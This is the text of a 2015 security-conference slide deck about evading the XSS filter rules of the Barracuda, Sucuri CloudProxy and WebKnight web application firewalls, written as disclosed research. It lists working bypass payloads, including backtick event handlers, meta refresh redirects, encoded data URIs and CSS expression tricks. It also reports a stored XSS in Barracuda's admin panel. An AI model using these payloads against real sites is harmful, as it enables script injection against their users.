Ashar Javed (@soaj1664ashar)



Previously Presented at DeepSec 2015 & SBA Research, Vienna, Austria

This is what we already know about WAF in general ...


150,000 organizations in 100+ countries are using it ...

Gartner's Magic Quadrant

Some Facts/Stats About Attack Definitions Updates

13th Aug 2014 to 24th May 2015 (10 months)

Almost 7 updates of attack definitions but nothing related to XSS. They're safe from that end.

Meanwhile I joined HAEE on 1st March 2015

Hyundai Autoever Europe GmbH is an IT service company for Hyundai & Kia Motors

It took 2 months to settle down at a new place :P

From 25th May 2015 to Date (6 months)

5 updates of attack definitions and 1 firmware patch and all of them have an information/update related to XSS along with some other fixes ...

How to Identify Barracuda?

Default Error Message of Barracuda if it invokes or comes in action ...

Note: Almost everyone is using default error message page and no one has the time to change it to some custom page in order to make the identification difficult :D

Barracuda's 18 Regular Expressions Related to XSS (2 categories)

  1. Cross-Site Scripting Strict (5 in total)

  2. Cross-Site Scripting (now 13 in total, previous total was 11 before my encounter with regular expressions)

I will not expose Barracuda's internal regular expressions but will talk in terms of meta data ...

Meta Data (A Famous Slide)

Let the fun begin

I tested XSS related regular expressions of Barracuda one-by-one and found bypasses.

I call it bypasses. Barracuda calls it Functional Deficiencies. You may call it shortcomings or shades or potential weaknesses ...

Choice is Yours


Event Handlers Based Shades of Barracuda

Initially 4 Regular Expressions Taking Care of Event handlers

All received an update because of bypasses

It starts with ...

and ...

List of Missing Event Handlers in Barracuda's Regular Expressions

1) onshow
2) oncancel
3) onlanguagechange
4) oncuechange
5) ondragexit
6) onsort
7) onautocomplete
8) onautocompleteerror
9) onclose
10) oncancel

Note: As far as I can see Barracuda has the most comprehensive list of event handlers (though not good approach) but still they missed above event handlers ...

Why Barracuda is using hard-coded list of event handlers?

Barracuda Replied ...

Because of logging and tracking purpose we're using hard-coded event handlers.

I suggested use a generic regular expression for event handlers ...

Good thing is that now a generic regular expression has been added.

What about bypass(es) if event handler(s) is part of regular expressions?

` was enough for a bypass ...

The regular expressions related to event handlers cover cases where ' or " was there before event handlers's name but missed ` e.g., IE specific XSS vector (I think up to IE9)

<img src=`x`onerror=confirm(1)>

Note: Please keep in mind that onerror was part of their hard-coded list of event handlers but ` was enough to bypass REs.

. (dot) was culprit

The regular expressions related to event handlers ends in dot after = sign (i.e., eventhandlernames=.). In regular expression, . means any character except newline. So that would bypass




a legit XSS vector

Note: Barracuda already normalizes other space alternatives or invisible characters like %0D, %0C and %0B etc.

Tags Based Weaknesses of Barracuda

Regular Expression Deals with Malicious Tags

Barracuda calls it "unsafe-tag". It has a list of potentially dangerous tags like iframe, form, object & embed etc ...

<meta> tag treated in a different way in unsafe-tag

Sample Visual Form of RE. Only <meta> is treated differently

Special Treatment of <meta> leads to bypass

 <meta/http-equiv=refresh content=0;url=//anyevilurl>

 <meta id=1 http-equiv=refresh content=0;url=//anyevilurl>

 <meta[%0c or %0b or %0d and so on]http-equiv=refresh content=0;url=//anyevilurl>

Barracuda calls them opening-html-tag & closing-html-tag. The purpose is to stop arbitrary HTML tag(s) injection.

Regular Expressions Deal with Opening & Closing HTML Tags

Both REs assume that injected tag(s) name <=10 chars

What about <math> tags' <mmultiscripts>?

It has 13 characters :) They fixed it and now REs assume tag name would be <=32 chars.

Both REs assume that injected tag(s) name will be alphabetic ...

What about old IE specific XSS payloads?

/* The following payloads start with %, single line comment and multi-line comments */

<%div% anymaliciousthinggoeshere>div</div>

</**/div style=color:red anymaliciousthinggoeshere>div</div>

<//div anymaliciousthinggoeshere>div</div>


The RE closing-html-tag assumes that injected tag(s)  will be properly closed i.e.,

What about half-close XSS payloads?

/* Absence of > sign in the closing tag */

/* No closing tag(s) in the XSS payload */

data URI Based Shortcomings of Barracuda

Dedicated Regular Expression Deals with data URI

Barracuda calls it "evasion-via-data-uri-scheme". This RE has been updated three times in updates.

RE Journey's from Complex to Simple

Fun with "evasion-via-data-uri-scheme"

/* HTML5 based entities were doing good in bypassing data URI RE */

<a href='data&colon;text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+'>click</a>

<a href='data:application/x-x509-user-cert;&NewLine;base64&NewLine;,

/* Both are Firefox specific payloads */
/* The RE initially thinks that base64 keyword is necessary. */

<a href="data:x,% 3 c script % 3 e alert(1) % 3 c/script %3 e">click</a>

/* The RE thinks that only alphanumeric characters are allowed after data URI */

<a href="data:@['{§(`__`)$}']@, % 3 c script % 3 e alert(1) % 3 c/script %3 e">click</a>

Barracuda added a new regular expression at this point ...

Barracuda calls it "evasion-via-html-named-char-ref"

"evasion-via-data-uri-scheme" is now doing good BUT in combination with other regular expressions.

style Based Bypasses of Barracuda

Two (2) dedicated Regular Expressions (i.e., xss-style-attr and url-references) deal with stopping CSS/style based JavaScript execution plus style tag is part of RE "unsafe-tag".

xss-style-attr Regular Expression

This regular expression has been updated twice. At the end of day, it is getting better from security perspective but now causing more false positives.

xss-style-attr RE

Fun with "xss-style-attr"

/* The first two payloads bypasses the check on word expression with the help of \ */

<div style="x:e\x\p\r\ession(alert(1))">div</div>
<p style='\x:\65xpre\73sio\6e(alert(1))'>hello barracuda</p>

/* The regular expression was expecting ( after the keyword expression */
<div style="width:expression\28 alert \28 1\29 \29">I will bypass you</div>

/* Decimal Encoding without the presence of ; bypasses the regular expression */
<div style="width&#58expression&#40alert&#40 1&#41&#41">I will not match</div>

The following payload is captured as malicious. Barracuda prefers security over availability.

<div style="color:red">div</div>


Current state of "xss-style-attr"

url-references Regular Expression

Note: Bypassable if input lands or reflects as a part of style attribute.

Fun with "url-references"

<div style="Injection Here">Hello World</div>

/*used \72 instead of character `r` and \6c instead of character `l`*/

<div style="background-image:u\72\6c(//evilurl)">Hello World</div>

/*I haven't tested the new firmware patch but I think this issue has 
been addressed in this patch*/

Bypassing WAF is cool but what about if you will bypass WAF on a vendor's main web application :D

"style="width:expression\28 alert\28 1\29 \29

Stored XSS in Barracuda's Main Admin Interface

Change the default Image of admin interface via ...

Should start with http:// or https://

Here We Go ...

In the source code on every page of admin panel ...

Please update Barracuda's attack definitions/signatures to (1.102 version) & apply firmware patch (8.0.1)


Barracuda also allows you to add your own attack definitions or you can customize the signatures.

Sucuri's CloudProxy

For details I would refer you to my talk at OWASP Spain 2015...


Cheaper than Pizza :D

Good Thing About Sucuri

#1 Bypass

#2 Bypass

#3 to #9 Bypasses

#10 to #12 Bypasses

onmouse**** based fun finished :(

contentEditable property comes to rescue ...

#13 to #15 Bypasses

onmouse**** and onkey**** based fun finished :(

draggable attribute comes to rescue ...

#16 to #18 Bypasses

#19 to #33 Bypasses

Is it possible to execute <script> tag given Sucuri is based on black-listing?

there must be a way ...

%2f is the answer ...

Here we go ... #34 bypass


Bypasses Based on Encoding

#35 bypass

Decimal encoding of character "t" == &#116 while & == %26 and # == %23


#36 bypass

Final Observation

I realized that after so many bypasses (and fixes) Sucuri does not allow more than 7 characters after any event handler name. Sounds like a challenge ...

Count Characters

alert(1) == 8 characters confirm(1) == 10 characters prompt(1) == 9 characters


Note: May be that could be the reason at that time for the check/condition on 7 characters in place in their implementation. Now I think they have changed something.

Old IE Trick URL=name

where name == javascript:alert(1) but URL=name has 8 characters :(

URL=i (5 characters)

<iframe> tag is blocked by Sucuri

Here we go with <style>

Sucuri Unfixed Bypass (IE9)

<p id=`1`onmouseover=confirm(1)

AQTRONIX WebKnight: Open Source Web Application Firewall (WAF) for IIS

List of Missing Event Handlers in AQTRONIX WebKnight

1) oncancel
2) oncuechange
3) ondragexit
4) onsort
5) onautocomplete
6) onautocompleteerror
7) onclose



"..., always willing to take advantage of an opportunity." (Anonymous)


You may use WAF but always keep in mind that it should NOT be the only security layer. It can be one extra layer. Please fix bugs in application.

Special Thanks To ..

HAEE Security Team especially @2sharmavishal

Barracuda's WAF & Security Teams

Sucuri's Founder/CTO @danielcid

50 shades of waf

By Ashar Javed

50 shades of waf

XSS bypasses of Barracuda & Sucuri

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